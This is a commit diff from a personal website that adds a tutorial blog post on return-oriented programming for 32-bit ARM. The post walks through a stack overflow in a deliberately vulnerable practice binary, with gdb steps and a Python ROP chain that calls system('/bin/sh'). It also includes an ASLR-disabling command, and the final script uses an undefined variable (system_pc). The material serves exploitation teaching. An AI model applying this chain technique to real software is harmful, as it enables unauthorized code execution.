all repos — site @ 56649b67309abbf4fb3aad260953c3303ccb06a9

source for my site, found at icyphox.sh

ROP on ARM post
Anirudh icyph0x@pm.me
Thu, 06 Jun 2019 20:01:07 +0530
commit

56649b67309abbf4fb3aad260953c3303ccb06a9

parent

6b66f5122d3818bdd3047a52520fbb6345e06de1

M build/blog/index.htmlbuild/blog/index.html

@@ -31,6 +31,8 @@ <div class="content">

<div align="left"> <h1>Posts</h1> +<p>6 June, 2019 — <a href="/blog/rop-on-arm">Return Oriented Programming on ARM (32-bit)</a></p> + <p>13 May, 2019 — <a href="/blog/my-setup">My Setup</a></p> <p>8 Feb, 2019 — <a href="/blog/python-for-re-1/">Python for Reverse Engineering #1: ELF Binaries</a></p>
M build/blog/rop-on-arm/index.htmlbuild/blog/rop-on-arm/index.html

@@ -57,6 +57,11 @@ <p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you

may use <code>radare2</code>, IDA or anything else, really. All of which can be trivially installed.</p> +<p>And for the sake of simplicity, disable ASLR:</p> + +<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space +</code></pre></div> + <p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a> <a href="/static/files/roplevel2.c">roplevel2</a>. </p>

@@ -100,7 +105,7 @@

<h3>Exploring our binary</h3> <p>Start by running it, and entering any arbitrary string. On entering a fairly -large string, say, “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”, we +large string, say, “A” × 20, we see a segmentation fault occur.</p> <p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>

@@ -135,6 +140,110 @@

<p>Moving on to the disassembly of the <code>winner</code> function:</p> <p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p> + +<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>. +So our end goal here is to, quite obviously, execute code via the <code>system()</code> +function.</p> + +<p>Now that we have an overview of what’s in the binary, let’s formulate a method +of exploitation by messing around with inputs.</p> + +<h3>Messing around with inputs :^)</h3> + +<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the +screenshot.</p> + +<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p> + +<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice +the <code>pc</code> has been overwritten with our input. +So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p> + +<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now +control program execution flow. Let’s try jumping to the <code>winner</code> function.</p> + +<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset +of the second instruction — <code>add r11, sp, #4</code>. +For this, we’ll use Python to print out input string replacing <code>FFFF</code> with +the address of <code>winner</code>. Note the endianness.</p> + +<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2 +</code></pre></div> + +<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p> + +<p>The reason we don’t jump to the first instruction is because we want to control the stack +ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code> +those out after <code>winner</code> is done executing and we will no longer control +where it jumps to.</p> + +<p>So that didn’t do much, just prints out a string “Nothing much here...”. +But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument +to do what we want (run a command, execute a shell, etc.).</p> + +<p>To do that, we’ll follow a multi-step process: +1. Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>. +2. Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into +<code>r0</code>. +3. Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</p> + +<p>The pseudo-code is something like this:</p> + +<pre><code>string = AAAABBBBCCCCDDDDEEEE +gadget = # addr of gadget +binsh = # addr of /bin/sh +system = # addr of system() + +print(string + gadget + binsh + system) +</code></pre> + +<p>Clean and mean.</p> + +<h3>The exploit</h3> + +<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>. +It allows us to pack the bytes of addresses to the endianness of our choice. +It probably does a lot more, but who cares.</p> + +<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint +at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p> + +<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh" +</code></pre> + +<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p> + +<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be +found from the disassmblies from earlier. Here’s the final exploit code:</p> + +<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span> + +<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span> +<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span> +<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span> +<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span> + +<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system_pc</span><span class="p">)</span> +</code></pre></div> + +<p>Honestly, not too far off from our pseudo-code :)</p> + +<p>Let's see it in action:</p> + +<p><img src="/static/img/the_shell.png" alt="the shell!" /></p> + +<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates +when the pipe closes, since there’s no input coming in from STDIN. +To get around this, we use <code>cat(1)</code> which allows us to relay input via <code>cat</code> +to the shell. Nifty trick.</p> + +<h3>Conclusion</h3> + +<p>This was a fairly basic challenge, with everything laid out conviniently. +Actual ropchaining is a little more involved, with a lot more gadgets to be chained +to acheive code execution.</p> + +<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p> </div> </body>
M build/static/files/roplevel2.cbuild/static/files/roplevel2.c

@@ -3,10 +3,6 @@ #include <string.h>

#include <stdlib.h> #include <unistd.h> -char str1[] = "uname -a"; -char str2[] = "touch pwned.txt"; -char str3[] = "ls -sail"; - void winner(){ printf("Nothing interesting here...\n"); system("# this does nothing...");
M build/static/style.cssbuild/static/style.css

@@ -78,14 +78,21 @@ pre {

padding: 10px; } -pre, code { +pre, pre code { background: #041b1e; + color: white; word-wrap: break-word; overflow-x: auto; white-space: pre-wrap; white-space: -moz-pre-wrap; white-space: -pre-wrap; white-space: -o-pre-wrap; +} + +code { + color: cyan; + background: #041b1e; + padding: 1px; } .logo {
M pages/blog/_index.mdpages/blog/_index.md

@@ -6,6 +6,8 @@ ---

# Posts +6 June, 2019 — [Return Oriented Programming on ARM (32-bit)](/blog/rop-on-arm) + 13 May, 2019 — [My Setup](/blog/my-setup) 8 Feb, 2019 — [Python for Reverse Engineering #1: ELF Binaries](/blog/python-for-re-1/)
M pages/blog/rop-on-arm.mdpages/blog/rop-on-arm.md

@@ -28,6 +28,12 @@ For debugging and disassembling, we’ll be using plain old `gdb`, but you

may use `radare2`, IDA or anything else, really. All of which can be trivially installed. +And for the sake of simplicity, disable ASLR: + +```shell +$ echo 0 > /proc/sys/kernel/randomize_va_space +``` + Finally, the binary we’ll be using in this exercise is [Billy Ellis’](https://twitter.com/bellis1000) [roplevel2](/static/files/roplevel2.c).

@@ -69,7 +75,7 @@

### Exploring our binary Start by running it, and entering any arbitrary string. On entering a fairly -large string, say, “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”, we +large string, say, “A” × 20, we see a segmentation fault occur. ![string and segfault](/static/img/string_segfault.png)

@@ -105,6 +111,108 @@ Moving on to the disassembly of the `winner` function:

![gdb winner disassembly](/static/img/gdb_disas_winner.png) +Here, we see a calls to `puts()`, `system()` and finally, `exit()`. +So our end goal here is to, quite obviously, execute code via the `system()` +function. +Now that we have an overview of what’s in the binary, let’s formulate a method +of exploitation by messing around with inputs. +### Messing around with inputs :^) +Back to `gdb`, hit `r` to run and pass in a patterned input, like in the +screenshot. + +![gdb info reg post segfault](/static/img/gdb_info_reg_segfault.png) + +We hit a segfault because of invalid memory at address `0x46464646`. Notice +the `pc` has been overwritten with our input. +So we smashed the stack alright, but more importantly, it’s at the letter ‘F’. + +Since we know the offset at which the `pc` gets overwritten, we can now +control program execution flow. Let’s try jumping to the `winner` function. + +Disassemble `winner` again using `disas winner` and note down the offset +of the second instruction — `add r11, sp, #4`. +For this, we’ll use Python to print out input string replacing `FFFF` with +the address of `winner`. Note the endianness. + +```shell +$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2 +``` + +![jump to winner](/static/img/python_winner_jump.png) + +The reason we don’t jump to the first instruction is because we want to control the stack +ourselves. If we allow `push {rll, lr}` (first instruction) to occur, the program will `pop` +those out after `winner` is done executing and we will no longer control +where it jumps to. + +So that didn’t do much, just prints out a string “Nothing much here...”. +But it _does_ however, contain `system()`. Which somehow needs to be populated with an argument +to do what we want (run a command, execute a shell, etc.). + +To do that, we’ll follow a multi-step process: +1. Jump to the address of `gadget`, again the 2nd instruction. This will `pop` `r0` and `pc`. +2. Push our command to be executed, say “`/bin/sh`” onto the stack. This will go into +`r0`. +3. Then, push the address of `system()`. And this will go into `pc`. + +The pseudo-code is something like this: +``` +string = AAAABBBBCCCCDDDDEEEE +gadget = # addr of gadget +binsh = # addr of /bin/sh +system = # addr of system() + +print(string + gadget + binsh + system) +``` +Clean and mean. + + +### The exploit + +To write the exploit, we’ll use Python and the absolute godsend of a library — `struct`. +It allows us to pack the bytes of addresses to the endianness of our choice. +It probably does a lot more, but who cares. + +Let’s start by fetching the address of `/bin/sh`. In `gdb`, set a breakpoint +at `main`, hit `r` to run, and search the entire address space for the string “`/bin/sh`”: + + +``` +(gdb) find &system, +9999999, "/bin/sh" +``` +![gdb finding /bin/sh](/static/img/gdb_find_binsh.png) + +One hit at `0xb6f85588`. The addresses of `gadget` and `system()` can be +found from the disassmblies from earlier. Here’s the final exploit code: +```python +import struct + +binsh = struct.pack("I", 0xb6f85588) +string = "AAAABBBBCCCCDDDDEEEE" +gadget = struct.pack("I", 0x00010550) +system = struct.pack("I", 0x00010538) + +print(string + gadget + binsh + system_pc) + +``` +Honestly, not too far off from our pseudo-code :) + +Let's see it in action: + +![the shell!](/static/img/the_shell.png) + +Notice that it doesn’t work the first time, and this is because `/bin/sh` terminates +when the pipe closes, since there’s no input coming in from STDIN. +To get around this, we use `cat(1)` which allows us to relay input via `cat` +to the shell. Nifty trick. + +### Conclusion + +This was a fairly basic challenge, with everything laid out conviniently. +Actual ropchaining is a little more involved, with a lot more gadgets to be chained +to acheive code execution. + +Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.
M static/files/roplevel2.cstatic/files/roplevel2.c

@@ -3,10 +3,6 @@ #include <string.h>

#include <stdlib.h> #include <unistd.h> -char str1[] = "uname -a"; -char str2[] = "touch pwned.txt"; -char str3[] = "ls -sail"; - void winner(){ printf("Nothing interesting here...\n"); system("# this does nothing...");
M static/style.cssstatic/style.css

@@ -78,14 +78,21 @@ pre {

padding: 10px; } -pre, code { +pre, pre code { background: #041b1e; + color: white; word-wrap: break-word; overflow-x: auto; white-space: pre-wrap; white-space: -moz-pre-wrap; white-space: -pre-wrap; white-space: -o-pre-wrap; +} + +code { + color: cyan; + background: #041b1e; + padding: 1px; } .logo {